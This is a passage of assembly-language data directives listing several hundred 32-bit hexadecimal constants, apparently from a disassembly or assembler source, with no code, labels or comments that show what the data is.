0ABD6E401h, 61463420h, 0CB133ECh, 268B53DFh, 0BB169CD0h dd 83E0A57h, 0C8008023h, 581929DEh, 769602B7h, 0EE6BC16h dd 6724F846h, 0C0405CE5h, 0C1CE3F4Ch, 496FD318h, 2C3F6A84h dd 0D6008C7Dh, 4FF01360h, 241F74A3h, 0EBDC0FC0h, 7E70CC5Bh dd 2CA9006Fh, 0AA397F94h, 0D8B26548h, 9D7CB925h, 818E9104h dd 2EE18F9Ch, 4EC2AD8h, 7E888A72h, 8B40C1B3h, 53425ABh dd 0FE0489A0h, 0D6D87Eh, 214BCCBh, 5C1A6954h, 4722370Eh dd 0DCC5530Bh, 783DA0CDh, 7F1C2DACh, 0D4034D51h, 13BFA6DBh dd 0E656BD59h, 0C02CE014h, 0E05D160Ah, 0FFF100EFh, 28BD870Bh dd 408BED4Eh, 0A0CE0A88h, 2C02DC15h, 122AB84Ch, 9F453A8h dd 74796DC8h, 0D964590Ch, 9E4C00A4h, 2582BED7h, 48058702h dd 7FF35B08h, 3000ECFCh, 10682BC5h, 0D4350B0Eh, 5C6018A2h dd 16456Dh, 0C8E1AE4Fh, 0F3497135h, 1808ED67h, 750920BCh dd 39AB0057h, 0A502CE5Fh, 1B00160Bh, 7E92E121h, 7FA9C6h dd 0F3AE7645h, 0B49E71F6h, 0CFC0C300h, 5AC48D08h, 865E0040h dd 0BD9F677Ah, 0E7072455h, 0FC0CBE07h, 79901480h, 18E90F74h dd 93A06823h, 37AE29E7h, 0A7D94506h, 3604491h, 4E8AE64Dh dd 0AA90D014h, 6B7488ECh, 52816660h, 0B18AEEh, 346AFDE0h dd 4E474601h, 7764B57Ah, 0A4C075D0h, 0E2EDE913h, 0D37B071Fh dd 40EEF8ECh, 353B1776h, 1D80269h, 4CB7C38Eh, 0A6C1484Dh dd 8A04F30Ch, 6BF81453h, 0FB072F2Ch, 0B27B2C8Ah, 0C8B1393h dd 3F10E98Eh, 0F501C359h, 7442BFB8h, 0AFDC6D28h, 80BCA2AAh dd 0D80A25ECh, 0A950068Ah, 851314Bh, 0EE213A60h, 0C190A3Dh dd 60EBC383h, 0F74C7F50h, 747E00C5h, 6429CB4Ch, 4BAD032Bh dd 1D20AE28h, 16EC45ADh, 0C8D90555h, 37FC3825h, 0C01D7D75h dd 0FA40B13Eh, 0F4FCFFD9h, 6D2302C7h, 0B57C77E3h, 0DDA5002Fh dd 2CFC2A6Ch, 1B450A24h, 40F50834h, 6B05BFBCh, 5C50C4DFh dd 48C4120h, 0FC276CD8h, 27B3620Ch, 956B0084h, 2B03143Fh dd 78BAA5E9h, 2C47B03Eh, 0F0C8AB93h, 0A0E741C3h, 0FBC71E0h dd 0AC4EBA43h, 0AB378594h, 0BBC0BE18h, 0EB851CD8h, 3DB3301h dd 5777E293h, 1CD64848h, 79FC0D6Ch, 2B822C3h, 716CDEBEh dd 98A3441Ch, 38882887h, 691DA00Eh, 20008F73h, 34E0B3A8h dd 505A3B74h, 0FA770505h, 60D8C536h, 548AF024h, 11E01423h dd 0F8500069h, 0F0318E8Ah, 9FAD045Eh, 81F6DC87h, 0ACC1C4h dd 3C802D6Bh, 8A064940h, 18E5C9CBh, 4744FC87h, 0B9DA5C60h dd 3941B731h, 2187701Dh, 45B832DFh, 7E9C2280h, 86CDF30h dd 0A34FC24h, 854BB264h, 6ACE8D80h, 7A002CD5h, 0AB30C010h dd 4635722h, 3CBDC448h, 0FE608165h, 3F904195h, 9C6D7113h dd 0A141B640h, 0AAF93319h, 313F7042h, 0C8F2E458h, 1F227D46h dd 8040303Ah, 0F2FA321Ch, 0FCD9720Eh, 27AC0298h, 4CA176ECh dd 42F1AC84h, 0A36CCAF3h, 7CB5D4h, 0E4752BE9h, 914888E6h dd 0F7185FF8h, 54B87214h, 476D0C96h, 3C391B2Dh, 0F8077C98h dd 74CAE74Fh, 0AC427121h, 0E4CBD089h, 604EE827h, 567E2568h dd 0B1401D33h, 91BBD03Ah, 0D3EC8Eh, 0C9743202h, 8AD5B944h dd 0B7F2F073h, 59543F01h, 0B1EA1C0Ch, 9CCD3882h, 8040B6F3h dd 0FEEACBD2h, 737E961Ah, 229C0459h, 2304CF64h, 0D464001Eh dd 0C8A613AFh, 0A527BC18h, 0A899B460h, 99F0B6F0h, 9AA90A50h dd 3DB48080h, 32E26827h, 0B207DD2Eh, 804DBA00h, 522C8F30h dd 245588CBh, 8C04B420h, 4F8AE707h, 6428D814h, 0EF534064h dd 157DC8Ah, 0D43B86FCh, 0F1BCC2E4h, 16A082A7h, 83179DCBh dd 8DB7D3E8h, 0EF10888h, 0EBAE1B0h, 6CE98BA0h, 0E004F368h dd 18EEC038h, 12C8349Ah, 6200C5C7h, 1B51880h, 70582FD3h dd 51A1042Dh, 767F9Ch dd 0EC213E11h, 23F40038h, 0AF080B0h, 20C1468Ah, 3B611B19h dd 83D48884h, 40BC82A9h, 116CD930h, 8804FC26h, 18B80AFh dd 8360A86Bh, 5872B101h, 0BB079D62h, 50388BDh, 9F113F74h dd 0ECD03048h, 0CC0B8CAFh, 8789633Bh, 9FD04734h, 2ABC765Bh dd 6C4AD0Fh, 173F0349h, 1D7C5940h, 8A5698A8h, 394B9300h dd 74FC2B38h, 4604900Ah, 8AED0106h, 6B881459h, 0F52D000Bh dd 750E4D8Ah, 0BA80037h, 77D7F09Fh, 3434A978h, 98C1286Eh dd 14007593h, 1C00CC70h, 2D8B8EC4h, 79CA0D62h, 9943601Fh dd 50CB3D12h, 800B023Ah, 0F42EA441h, 5CD9E5B1h, 68BC5036h dd 0DBE0008Ch, 23D5AB82h, 0CA3A589Eh, 16BD02F3h, 464E12D9h dd 3E3C46D0h, 0C8EF9F59h, 337038A4h, 0F7EA41h, 0D93A1D62h dd 2E8AD7F6h, 1384D005h, 64D1425Bh, 58408246h, 0F0A0C233h dd 0E5FF09D1h, 608E6B28h, 1F161927h, 0D21CAC25h, 0C833F84Ch dd 468ADD0Ah, 192238h, 7A0A20EDh, 445F90CAh, 183A0958h dd 1A2102A8h, 535A0069h, 0E8631D0Ch, 280B479Eh, 1D8EB72Eh dd 81B211C4h, 61A873F1h, 988353F4h, 0E23E09E4h, 498076EFh dd 4D12C7AAh, 732BB00h, 0F53C8833h, 0D7C0E01h, 5C01DDE4h dd 20BCDFF3h, 1E40A9B4h, 639C2471h, 0C29A855Ch, 0D8B45C5Ah dd 1A9C907h, 83B83C00h, 7CE5FDD3h, 0D00B267h, 13293B8Ah dd 0A2B42348h, 0E373018h, 8961C00h, 0C43285E3h, 0A4E5247Eh dd 0CB890758h, 0AE8FAEBh, 11D0201Eh, 0A2681FAh, 31F68AD3h dd 3EEB1012h, 7718000Ah, 0F98E9DB0h, 64480843h, 2CE3267Ch dd 0BD18FD5Eh, 3F495406h, 0E83944EEh, 28B449E7h, 0B60CF20Bh dd 906F7C05h, 213B1674h, 41900150h, 0E7D97702h, 0E86B9CC2h dd 290E9A60h, 596C2358h, 340E183Ah, 82899278h, 0EC300320h dd 1458118Ah, 80678880h, 0A98AF42Ch, 0CE00E5F7h, 4A596412h dd 9A96279Dh, 0B1050B60h, 7C9D90A9h, 409FB011h, 0B2766533h dd 0A103134Fh, 0CB7E9F0Dh, 380F80CAh, 9C2F021h, 226D79DBh dd 1D910097h, 99A7DA80h, 62FA2FC0h, 4F1CCD1Bh, 0FED29021h dd 440D0536h, 3DFE72Ah, 0D5C17687h, 8647700Ah, 956B9CB8h dd 80639150h, 2ED3E604h, 0F9C2883h, 70F5013Ch, 1CE5C26Ch dd 0F3082069h, 3EB1A43Eh, 47C409Ch, 0D8C39F2Bh, 0C8F8CB36h dd 5BCDC060h, 0B703BAC2h, 2A4148AFh, 6FC84A11h, 0DD4CD8h dd 35F20E50h, 3DE8BEFFh, 0B848F7C8h, 0A5C4411Fh, 0E0B15000h dd 18C06C33h, 0AEE27FEDh, 99B7F06h, 1A3DD080h, 8D206044h dd 44B0A777h, 0FAB767A9h, 0B6B47FE1h, 0CF91983h, 0BDC0B162h dd 0E3077EE6h, 431E85B9h, 94A863h, 9D0733F1h, 0C304165Dh dd 519DB1Dh, 0C43CD903h, 1A1BD85Eh, 0D2540401h, 8018ADCBh dd 38A29BC8h, 4029F224h, 1F5A465Eh, 7DCAC2AAh, 0F0281CFFh dd 16C78225h, 8C1034ECh, 826E80D1h, 6E5987C3h, 2C760954h dd 97C0AB60h, 82609108h, 61E54FFEh, 0E0247B2Ch, 15120233h dd 0E4460F8Bh, 0C00B4880h, 0F0A4136Fh, 8662820h, 4C67C809h dd 39C3414h, 0C7F2BECAh, 0E8BDA940h, 0AE04B438h, 0A361C89Ah dd 3019E2ACh, 6101D778h, 0C95EC79Eh, 0B9F87AB1h, 71B320B7h dd 6220A0A0h, 0B08D8280h, 0FFC4F38h, 392C4C9Ch, 0B0F0CB89h dd 30856380h, 76F8973Bh, 60942D46h, 2E5A465Ch, 8503E4C7h dd 7750C5FFh, 0D4EB0781h, 0C1930352h, 0A45E489Dh, 4B118818h dd 8E70D700h, 2B47032Ch, 0ECACEC94h, 9A0A1C03h, 50D97CC5h dd 8863FC7Eh, 1C5076E8h, 0C4733318h, 0C215C624h, 0BD180C1Ah dd 3D908FECh, 3ED60521h, 7810F302h, 0FD1E12CBh, 0BA1AC9B4h dd 4D1C4823h, 0BFA1A100h, 4B05C56Ch, 997803FEh, 631529A8h dd 70626FD0h, 93C0B119h, 8C3CE249h, 18CB8B8h, 2BD9EF6h dd 2CC6E885h, 0F8604C84h, 870E8C63h, 8C46A24Eh, 48EE196Ch dd 0EC001408h, 96F2501Eh, 2A304704h, 0E8CB59BBh, 40CA0106h dd 5643BDC0h, 0E848687Eh, 0FB018C19h, 0FCD8B38Bh, 822C4DFh dd 7D237C48h, 46CDC09h, 7CCE2C08h, 6B048803h, 27F09332h dd 0CC18A20Dh, 51986050h, 9019598Ah, 3700BEBCh, 70874FDEh dd 26A27446h, 810464E4h, 6BF01657h, 0B8C5D03Eh, 4100A49Ch dd 7C442C9Ch, 63177CC9h, 2AF519E0h, 6FA040BDh, 0D16E7AE6h dd 0BBD10091h, 0DB732F18h, 45F39D17h, 0E8708014h, 36038C60h dd 0A0CDFF94h, 3FD01764h, 0C80303CAh, 70CEB0B7h, 849F7C15h dd 138909A4h, 1F8461EBh, 0F8387AD2h, 3A327E51h, 0A0ACC874h dd 0B8071415h, 561E3D23h, 0EDC8EC44h, 363020CEh, 6F465772h dd 0E75D8106h, 31787FB4h, 6DD990A3h, 3E4C304Ch, 11537D8Ch dd 8855C8EDh, 7B358E1Bh, 0C0898DA4h, 6FB2F5FDh, 0B48A4402h dd 0A7B7B507h, 0D97058ACh, 0E0D39D2Eh, 1EFE0FD5h, 1C435396h dd 61B8401Bh, 0A64C902Dh, 0C02B0390h, 3B7950F5h, 0ABAC1BA0h dd 0BDFD8208h, 0BE024C20h, 0A028C00Ch, 0D16F0016h, 46FB3D4Fh dd 0ED1C27E1h, 0E78B84D5h, 7ED406D0h, 26174E1h, 42601BA5h dd 0EC9736BEh, 868F6191h, 8C39A074h, 1D93CCC8h, 85F1408h dd 8C7BB050h, 296CD202h, 190BDCFCh, 1A8A10ADh, 1D20F46Bh dd 8016D61Dh, 0CB18F2ECh, 9600D56Fh, 9371F57Eh, 0B240E495h dd 3CBE3288h, 2071BFF0h, 5C3E7282h, 0F8E41Dh, 0AD4EBC83h dd 1FFC12F6h, 0DC4152h, 0C81C9382h, 713B97Fh, 6FC90517h dd 0C5915092h, 0A4A14FBCh, 0F8945707h, 528AF2C0h, 7CF04C14h dd 8AFA2EE0h, 0B4200F00h, 5A19B8C2h, 203CF92Dh, 8C69BCh dd 8BFC3FAh, 1D368F7Dh, 6CB3307h, 0FC115347h, 84642CCDh dd 74949E28h, 0F503AC46h, 3503F1AAh, 92945016h, 16FE400h dd 1C7B0EB2h, 0AD653B8Ah, 1991E09Dh, 272A6380h, 0BC2A9A79h dd 78B6E0F4h, 115417E9h, 0CB8BAFh, 78A65CA2h, 2FD61EF1h dd 8AEA8065h, 0FB9CC375h, 314EB62Fh, 5FF87340h, 1418C1B3h dd 13C353Bh, 4280AABh, 4054A62Ch, 0E0ADC428h, 6042A826h dd 94221816h, 50F21Ch, 146EE7ABh, 0DDC4F9DFh, 0A55E6B07h dd 96845199h, 138534A3h, 3B38C536h, 0BB2394h, 0B6F1DA08h dd 0AB1D1013h, 290D6C3Dh, 0E001C80Ch, 0E0ABA0A3h, 290E7838h dd 0E8993900h, 9C4CBFFCh, 2C655CEFh, 3C45F06Bh, 46601BE4h dd 69394C0Ah, 0A215CC8h, 0B463F4B1h, 0A19BB0BBh, 72E4950h dd 5685FB94h, 0FD3707F8h, 4F7320E0h, 6E13EE09h, 0A40888D3h dd 77911104h, 68C7E3Eh, 0AADF819Ah, 0D0081FFh, 0D557B99Fh dd 4868C75Fh, 510A8496h, 163CCBD2h, 88888F73h, 51C1C044h dd 4C0019A7h, 4B1CD6F0h, 5BB44E89h, 23743EF4h, 997203B0h dd 7C9B9843h, 392980DDh, 0A648E7F5h, 7681655Ch, 3AF29CA2h dd 12892130h, 0B0191BE3h, 0FC2E9D10h, 2F6C878h, 0AB50CFA8h dd 0D8632F20h, 464E30E0h, 78422C96h, 3A4C066Bh, 0B838224Dh dd 2B8306DEh, 19481FA4h, 824C221Dh, 0BAD6EF40h, 0C6AA5E5h dd 7BCBB190h, 0A30231A1h, 89B6789h, 13AC7146h, 0C1FCDA28h dd 0F99A41BDh, 2F774072h, 40A5992Eh, 0B9F04079h, 0C4AAC5A4h dd 6CCCB48h, 97A96A48h, 72D00029h, 7A05DD31h, 0D3195490h dd 2889EC1Fh, 47F28072h, 1BABC30h, 696EEC27h, 2344DC79h dd 3018A264h, 6B009AAFh, 222D9884h, 22ED4B3h, 54D7856Fh dd 0F4416C20h, 2FA86908h, 11501F9Fh, 78B48069h, 0DB5465h dd 0BCE1340Fh, 73BA067Dh, 0B497ACB4h, 86A5E090h, 0B23D4CBBh dd 9839DC60h, 0FD1EB14Ah dd 0B89888Bh, 40304174h, 0BFFF6710h, 7A7E2C00h, 32038B8Dh dd 4AA00E93h, 8756EC37h, 0DBBE30B0h, 650071EFh, 0D58F58A3h dd 12FF8EB8h, 27DE0BDh, 0E2A5E314h, 0BBE4E045h, 0C90D6160h dd 44012FECh, 0E53DAC49h, 282405AFh, 655400F8h, 128DDF53h dd 0A700C867h, 3F41A4DCh, 2E5860B6h, 0FF8F225h, 15E5E7A1h dd 4CE48171h, 0AF98827Ah, 701FBBC3h, 79949108h, 0D918B0h dd 60143638h, 0E9ADA89Dh, 40C49709h, 83908099h, 9E1657C3h dd 749CEA58h, 0D8001946h, 9FB425ECh, 7D60B5F7h, 262DC9A9h dd 62743B3Ch, 8AADAF04h, 0F864800Bh, 0E22CEECEh, 3718F3D6h dd 0B7014E9h, 447FC009h, 0EE464CC6h, 0D70A2A02h, 0E447088Ah dd 0A224700h, 1B2B7CDEh, 19B0CFB6h, 0E9D757B7h, 44C4ACE5h dd 47BEC60h, 0C607330Fh, 46E4E032h, 0C047AF2Bh, 0A0099AE8h dd 0CBF310E8h, 0C69CB854h, 109978B0h, 0DF18A9F1h, 0F166FD01h dd 5B11316h, 82DC1F2Ah, 0F0E77F85h, 835F14F8h, 50EC4FB0h dd 2E71EC91h, 74F848B4h, 48001B46h, 72B05E14h, 0EC004DD1h dd 179D363Eh, 0D4083D13h, 4502A081h, 7991B4BFh, 0B704B42Ah dd 6887EC88h, 3E5E5D10h, 80974B15h, 0A1C29FF8h, 82A0C74Ch dd 64A7D7EFh, 0FF67098h, 558B34E4h, 0ECCC0BC0h, 0EF04D4F7h dd 0AC2CDDE7h, 24A678C5h, 277885B0h, 0D932F2A0h, 0A8FF7D17h dd 9AB8844h, 61860C90h, 69DC0538h, 824FC0B3h, 170B6F60h dd 83441198h, 8A82283Ah, 15845607h, 0EC50803Bh, 0E3634468h dd 14FFE744h, 0A49A38F5h, 74FC532Eh, 0A4076546h, 1162EAD7h dd 3AE13B17h, 8AC5C14h, 4203E3h, 0DF5B99Eh, 6B4B62E4h dd 66238C2Fh, 2901E400h, 981F6F7h, 183EFF77h, 0BDFC7010h dd 0E05C2031h, 3441F5h, 90FE529Ah, 1BBD6B00h, 5EAC4EB8h dd 0C0C11825h, 0AA0EAB88h, 243470C4h, 11D071C2h, 6CC0041h dd 0C50F18FBh, 0B06800CAh, 91F61261h, 7500A59Bh, 0E62AB9F0h dd 25196AC2h, 7435226Ch, 3BBE3680h, 1D01EECh, 8E4C164Dh dd 304A042Ch, 1D02EAECh, 0C314123Dh, 1770F07Dh, 8B3671CDh dd 0C7668828h, 2C38C0E1h, 0B2FC3101h, 0F4C83026h, 80E07444h dd 0E5F42AB6h, 75D4908Ch, 0B4E48B8Bh, 80E7A64Ch, 79E11959h dd 3B6D486h, 0E5ABF104h, 88E07A01h, 0AF2A76Fh, 89832E00h dd 0AA32D5E6h, 303B587Bh, 88508BA4h, 0C1B9C7B8h, 31CECF57h dd 9F6C4235h, 179760D8h, 80AD912Ch, 0F7C5E6D4h, 63802A6h dd 811B962Eh, 0C6128056h, 2D4DE405h, 1F80A0DBh, 0A8103EBDh dd 0C8E571C1h, 0F0550BBCh, 983E68C3h, 9FAAD052h, 4AE644A0h dd 8BEA1DBDh, 6ABB0C00h, 72619075h, 0B2702F9h, 80BDC232h dd 5498BC70h, 2402F446h, 588AD90Ah, 3CF11F1Ch, 6C86BD0Ah dd 0E8120530h, 3B9D6B13h, 7B0C0482h, 8D7C700Ch, 0FEDC0809h dd 9288901Ch, 97BD00BCh, 0CECB7F19h, 8800A8D3h, 43DDB30Ah dd 95D6B5Bh, 0E9091B14h, 2B747021h, 1888BA95h, 4749461Dh dd 676B0019h, 334BFB6Ah, 9C00617Ah, 22620DBCh, 49BF46E7h dd 160C8898h, 41D9911Bh, 2A4224BCh, 5870DBE3h, 4679560Bh dd 0B69E8601h, 711C7D2Bh, 0D9EE6DD5h, 18127900h, 905D07B1h dd 0B021467Ah, 70C2F7C8h, 0B4B722h, 0B51A2A3Dh, 2D9B4027h dd 3BFE6E01h, 6772502Ch, 0B9BE7C8Eh, 45C9482Ch, 579D6509h dd 182C005Ch, 0A0E3D1CBh, 1D0DB180h, 863EA3BDh, 314AFD9Ah dd 20964FE0h, 0CC3725h, 4C55E0CDh, 48988A95h, 1F9D4B09h dd 6D24E8B1h, 7EB32875h, 0A74D1248h, 0A228F396h, 2AEA301Fh dd 6590DC00h, 0B354722Eh, 1B891717h, 0C77C4397h, 5FB1927Fh dd 18136A1Fh, 5E010B6h, 18200255h, 0AB0BAA7h, 1FF9105Eh dd 0A90609A8h, 0BE04D8FAh, 7CCEAB9Dh, 81ECF8E9h, 0C1D1E404h dd 0A6001F16h, 8746B4B0h, 9A8990BCh, 0AB841036h, 8CC4A808h dd 128E03A2h, 30DD63D4h, 0A0A0808Eh, 0C4BC4857h, 80C03727h dd 4C993CA4h, 89094374h, 484DA7E3h, 827E1CD8h, 5A3BC002h dd 9412F472h, 0E48E42E1h, 0F3C01388h, 20D475Dh, 2E6BBB55h dd 8D42FA77h, 477E047Eh, 85870018h, 47DFB8E5h, 0B405FE74h dd 7F94BB7Ch, 0B40B9449h, 14514F20h, 27B8A967h, 0B861CC9Eh dd 0ACE4AA31h, 830F0068h, 0A39293EBh, 30A9B2A8h, 0E200DA40h dd 8FC4335Bh, 4F516301h, 5CE4C8F0h, 6039182Dh, 1AD34D08h dd 0B927C87Dh, 428FBC82h, 2313EE00h, 4F80B4CDh, 0C74406B1h dd 35D061F0h, 0ACA00BA9h, 8C60E858h, 0FDA3860Bh, 0FA7409BAh dd 46EF1330h, 90BC3582h, 4268366Ch, 5C0CAC50h, 0D4151026h dd 1CB4AB92h, 0BE3030Fh, 94B7B284h, 0BD9FB100h, 0F539BCF9h dd 72B05A22h, 2B30EF54h, 8AD6380Ah, 23EC8043h, 1082940Ah dd 8416C7C3h, 401C6CF4h, 5D4A43F0h, 7626A5ECh, 17A5F4AFh dd 80471104h, 0E0E8B0EAh, 84889427h, 0A636D2C3h, 0FEC1B0B8h dd 95D102B2h, 0E43D1319h, 4CA4A405h, 0E488A72Eh, 73356013h dd 642A1F6Fh, 0C3977DA3h, 783404AFh, 4F1CB1AEh, 0C0B38868h dd 7FF9F3F8h, 0DBD71B03h, 0D94AB7EBh, 0B034AFBDh, 0CC0BB7FDh dd 13C43845h, 0C6C5260h, 0E7DB5901h, 5BA972C6h, 7B94033Fh dd 0B1DAE680h, 82E16C4Dh, 0E8481FC2h, 6CA50055h, 0CFF21107h dd 0AC0E9B7Ch, 204E857Eh, 0DD201F73h, 0C3D707B0h, 0C9A4839Ch dd 3E2504F2h, 4858981Ah, 0F474827Bh, 90851445h, 6ACDE844h dd 63BCB4A8h, 65BA098Ch, 0F0D9B099h, 4618A9D9h, 7DFA2400h dd 0B3EC0633h, 554E1232h, 23282F23h, 8C5B0017h, 3E791059h dd 948048F3h, 605ACC72h, 44ED8034h, 890090A8h, 16122AAh dd 148234E7h, 0A4517FFDh, 0C12F510h, 596E8541h, 0D0EC0423h dd 0C8C59A7Fh, 7002D41Ch, 15C9DDEDh, 80E06071h, 5A80B47Dh dd 0B0117897h, 0D2E2C680h, 7900BD74h, 0E545239Bh, 5A0FD3C2h dd 0A6782246h, 903F0DAh, 216EA1C5h, 0BE45E0B2h, 544D130Eh dd 8840CEDDh, 88F5C01Bh, 353AB259h, 7FC38BF8h, 836C4976h dd 0C76653E0h, 87216810h, 76194CBh, 0EE02D090h, 0BBB0F074h dd 9D337098h, 0DF20A0B8h, 1D6987Dh, 0FDA49C46h, 276C0CBDh dd 5160180h, 94F42D49h, 13F9C21h, 0B4CA4CDCh, 6A82D067h dd 0A06B225Fh, 2C71E2Ch, 0EB51B16h, 0D6F10C43h, 10E5E019h dd 1EDE10CEh, 0D0CCB612h, 1449400Fh, 0C53B27h, 0A5E4D3BCh dd 0EBCF2CB1h, 209CA060h, 399F5AFFh, 6C22E318h, 2430B3F2h dd 0D457003Eh, 93B5D958h, 2E000976h, 0C7C58331h, 1BB986Fh dd 6C464123h, 57882C47h, 293071A0h, 226C7219h, 0C1330B7Bh dd 0AC6D2359h, 5C0BF460h, 0F26B162Eh, 212C9283h, 109FA12Fh dd 6D1D799Bh, 93FB868h, 4774C32Bh, 7CC040C2h, 8D04A886h dd 0B9D7AEDh, 0B42E80F8h, 0D0C24030h, 35001E39h, 5D8E86F4h dd 188482B5h, 0C8067B93h, 55602C41h, 5F19EC89h, 0A9E50BC5h dd 94194BA8h, 82718FBh, 208AD20Ah, 0F04615C4h, 0D81FBC3Fh dd 0C9005B23h, 0F655CE05h, 0CAC35A9Ah, 0D3D900B0h, 0A2D88063h dd 20CD11FFh, 4161760h, 47C8088Bh, 887696C0h, 77EF25E3h dd 828BF0E0h, 0F7BCA456h, 4F182279h, 92B4F4ADh, 1DB88085h dd 0F41F48E9h, 4386D7F0h, 0BEB837CCh, 1E465EB0h, 16447E0Eh dd 74F16862h, 0BD964CDCh, 0CB9ACCC0h, 27B4B8D9h, 0A8172845h dd 0BC831F11h, 86E8FCACh, 0B30292DEh, 1627F117h, 0EBC47E5Ah dd 68590C51h, 52005818h, 0E46129ADh, 0B1A106Eh, 40BCAA23h dd 959D181Eh, 46BF14h dd 4C14B241h, 7C0576ECh, 8C385B75h, 798C23C0h, 0C8E61354h dd 347C385Dh, 3A017C75h, 4F19A11Ch, 6B7F23C3h, 172225CCh dd 80189124h, 0D7607503h, 0F1A024Ch, 7F74C24Dh, 94004858h dd 70E69C3h, 1D79F398h, 388D7A52h, 0D3A9920Fh, 0CE12ECE0h dd 0A339624h, 2CA408BEh, 53CB21h, 0EC7581Ch, 0E300F1D2h dd 83591321h, 8A7065h, 0C2B2BEDFh, 89920661h, 0AF997900h dd 0C3F6CD35h, 0C1F3C0Eh, 8BD78F81h, 809A474Fh, 0A6371488h dd 67F90A0h, 61DA926Ah, 200E4104h, 0C0D34CEBh, 817DADDEh dd 1A08CCD6h, 0E31E4121h, 43C0514Ch, 0CF6DB1Bh, 80857072h dd 6E3E48B7h, 694A7323h, 7325C0A0h, 0A6663015h, 5B4F8970h dd 0E7889360h, 0F578E02h, 0FC06809Bh, 95E8C9C2h, 0E1B2000Eh dd 0C1B593Ch, 13049DCEh, 21C0A909h, 0F13CD9D2h, 6A1B0350h dd 0E4881D67h, 7D712387h, 5A99910Fh, 61026E55h, 44FA8DB6h dd 21960898h, 72FA52BBh, 0ECDF4000h, 49AAC086h, 0A8DE6290h dd 7103839Bh, 7D310084h, 576228F8h, 2A39FF20h, 72F08FDDh dd 899180D4h, 6A5B8E03h, 3260D0B6h, 5E30E890h, 4602F255h dd 8F2275h, 2E5556BFh, 171BAA99h, 0E026CB28h, 0C005642Ah dd 1030A1E0h, 0E6FA3180h, 59FE0F1Bh, 40327B38h, 3578DD1Ch dd 40019F69h, 0FF169CB3h, 0F848BE61h, 0EC1D8CDBh, 0E691D44Ch dd 42821888h, 0E0584CE4h, 0A6B8302h, 87731F8Ah, 0DFD9078Ch dd 2FCC0BFh, 120AB605h, 34AAAE2Fh, 118B720Eh, 9508EE07h dd 0DDE1E0FDh, 4036664h, 51C0F353h, 226B93B2h, 0FD008630h dd 707F78BCh, 0CD9CB7h, 98E15217h, 7A1C8606h, 3FB08450h dd 9010AF28h, 97C0FC12h, 0C050B008h, 12EAC3D1h, 0A222BE46h dd 0C303C971h, 0AB495230h, 0B5A3D808h, 0E0BB5053h, 0CBD900E2h dd 0D1E3C30Fh, 0AD759689h, 0E8B0F2E1h, 2F25558h, 0B9804543h dd 886F5550h, 14F8A80Dh, 423E872h, 0B430A5A2h, 6C170070h dd 31028D10h, 7950F439h, 0E8ACE0B4h, 0D94CF11Dh, 64AE0E88h dd 0E947401Ch, 70B94Ch, 0D93ECC76h, 8B975634h, 8F506FFAh dd 0F1488ECh, 0FE4A536h, 677B1D66h, 84542F9Eh, 0A6C8D48Eh dd 800E0FC5h, 8F650F71h, 4850D2FFh, 8C1DB860h, 0CB44C500h dd 0FF9B3FA5h, 4EC12B7h, 64004F2h, 4F290194h, 0D083841Fh dd 33B57CEAh, 7BEC02EDh, 0AC8281FEh, 0D4A77A71h, 1E7F90D6h dd 0D49A0B6Ah, 0D7025646h, 0EE12F0C3h, 0CF71D09Ch, 6F1BC300h dd 5C2B2063h, 0EF19002Ah, 1832D547h, 0BD3AFA9Fh, 6078E15h dd 6387CD0h, 122860Fh, 1B6A700Ch, 0E03E857h, 0C35F2080h dd 7C0689E4h, 44810424h, 21146208h, 9405747h, 0BD198960h dd 8B5A0B7Dh, 0CE3339D8h, 9DE3610Ch, 0E0714F1h, 8442CF81h dd 0C691D27h, 0C517963h, 11C9B58Bh, 0B065E26h, 62850FDBh dd 0BF660069h, 0BD83D7C3h, 0A31EEE6h, 3284BA06h, 185511C2h dd 23C3725Dh, 19116C89h, 0C3554500h, 658A5876h, 0B60EFB31h dd 0E9011FD9h, 89298354h, 143141B5h, 3F85C716h, 8B01B96Eh dd 863DE9F1h, 8810F0Fh, 8A51500Dh, 5F28402Dh, 22D01FA4h dd 8C1DF8B8h, 62959100h, 0F25E4C3Fh, 2F9D1403h, 2BD1B38Dh dd 0D10125ACh, 6D6E9796h, 0E6C455BAh, 0FF231C81h, 0E998B9FEh dd 67A6310Ch, 0EE205000h, 0BF92DF56h, 754979CAh, 66F90F0Fh dd 55DDB8Ch, 0C227800Ah, 0D6840401h, 3053327Eh, 89E4C35Bh dd 0E0335C48h, 68C35343h, 423437h, 7973563h, 0AB00FF91h dd 6DE5AB9h, 71F08BAEh, 0A666F5Fh, 186195C2h, 65204B44h dd 89500A02h, 5C452404h, 68011746h, 0E8A83839h, 0C119AC0Eh dd 6AC2C500h, 7A79B3h, 0C40D1722h, 0BD33F845h, 6D158124h dd 484E986h, 0B0FC2434h, 1A46765Ch, 4780CA3Eh, 3E50B9Dh dd 1FC007E9h, 0B2E211C2h, 321BFC17h, 516070E6h, 0E4C35930h dd 8C4C4889h, 0C35141E0h, 0E0BD3F00h, 81318C0Fh, 282A0BF7h dd 6A8564EBh, 0FAAE0051h, 0D8B60F5Eh, 576061ADh, 744E091Bh dd 507564A3h, 0F58C88BAh, 0CEA7C3F0h, 50601844h, 8526FD13h dd 0DD001A20h, 0C15E523Dh, 520464E8h, 0C3D76756h, 317489F2h dd 5646101Bh, 269A00C3h, 8229B83Eh, 6024457Fh, 3C41F2E8h dd 0CEDCC104h, 0ABE52623h, 21290817h, 958B5B01h, 84322CEDh dd 99D207Eh, 0E2F76601h, 1E4DBD2Bh, 0A55312BBh, 0F301BB2h dd 5BEF010Bh, 819EF48Eh, 0F9D04050h, 71921C89h, 725818F3h dd 0A744FEC3h, 504000CFh, 1F7E4FC3h, 0F6CFC402h, 0C4B5FFC8h dd 0C452851Bh, 3EE56016h, 34C7907Dh, 2E481B69h, 715234Ch dd 9B0B8D7h, 0E1810E37h, 0E45EA57h, 52238D22h, 45C35A0Eh dd 8D385489h, 19525842h, 90840B00h, 0E8EB544Fh, 3F1F0F60h dd 3EF059F4h, 98804E20h, 0D5DFCF23h, 0D82E6FE9h, 2B30960Fh dd 905FFE8Bh, 3CF91FA5h, 7A838D61h, 884A0B1Fh, 56FDC01Ch dd 3614A5ECh, 18B1EBA8h, 0AD230BE9h, 0B5830FCBh, 0E2416479h dd 25413BB4h, 88884EDDh, 0C465C215h, 2FDAA663h, 0C6816600h dd 0E14B4849h, 5D2256CCh, 3D301841h, 2D852695h, 3AC392C4h dd 31D2323h, 0FA63C6E7h, 308B73A8h, 0FC4FC914h, 31F055A8h dd 0FAD51C6h, 2946408Fh, 1648399Dh, 0DE8180B3h, 11322CFh dd 0FAB70F44h, 400DE858h, 0D40AA645h, 